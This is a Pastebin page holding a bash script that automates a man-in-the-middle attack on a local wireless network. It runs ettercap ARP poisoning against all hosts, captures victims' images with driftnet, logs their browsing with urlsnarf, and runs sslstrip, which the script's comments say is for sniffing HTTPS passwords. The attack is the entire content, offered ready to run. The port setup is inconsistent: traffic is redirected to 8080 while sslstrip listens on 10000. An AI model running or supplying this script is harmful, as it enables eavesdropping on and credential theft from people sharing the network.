Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- ## DEF AND CONFIG ##
- iface="wlan0" ; # CHANGE IT WITH YOUR INTERFACE
- path="$HOME/EVIL_tmp" ; #CHANGE IT WITH YOUR PATH
- fun_check () {
- if [ $UID -eq 0 ]
- then
- echo
- echo "[ok] check UID"
- else
- echo
- echo "[fail] need to be root!"
- exit
- fi
- echo
- echo "check dependences:"
- which sslstrip > /dev/null || sudo apt-get install sslstrip
- which dsniff > /dev/null || sudo apt-get install dsniff
- which ettercap > /dev/null || sudo apt-get install ettercap
- which driftnet > /dev/null || sudo apt-get install driftnet
- which urlsnarf > /dev/null || echo "urlsnarf not present" exit
- }
- fun_setup () {
- mkdir $path
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] path created"
- else
- echo
- echo "[fail] impossibile create folder"
- exit
- fi
- echo "1" > /proc/sys/net/ipv4/ip_forward
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] ip forward propely set up"
- else
- echo
- echo "[fail] impossibile set up ip_forward"
- exit
- fi
- iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] iptables propely set up"
- else
- echo
- echo "[fail] impossibile set up iptables"
- exit
- fi
- echo
- echo "setup complete!!"
- }
- fun_attack () {
- xterm -e ettercap -TqM arp:oneway,remote // // -i $iface
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] ettercap started"
- else
- echo
- echo "[fail] ettercap not started"
- exit
- fi
- #This will start driftnet to capture images on your computer
- xterm -e driftnet -i $iface -d $path &
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] driftnet started"
- else
- echo
- echo "[fail] driftnet not started"
- fi
- #This will start URLSnarf to show the websites the victim browses
- xterm -e urlsnarf -i $iface &
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] urlsnarf started"
- else
- echo
- echo "[fail] urlsnarf not started"
- fi
- #This command will start SSLStrip to start sniffing https:// passwords
- xterm -e sslstrip -k -f -l 10000 2> /dev/null
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] sslstrip started"
- else
- echo
- echo "[fail] sslstrip not started"
- fi
- exit 0
- }
- fun_help () {
- echo "put here how to use your script"
- echo "bla bla bla bla"
- }
- fun_help
- fun_check
- fun_setup
- fun_attack
- exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement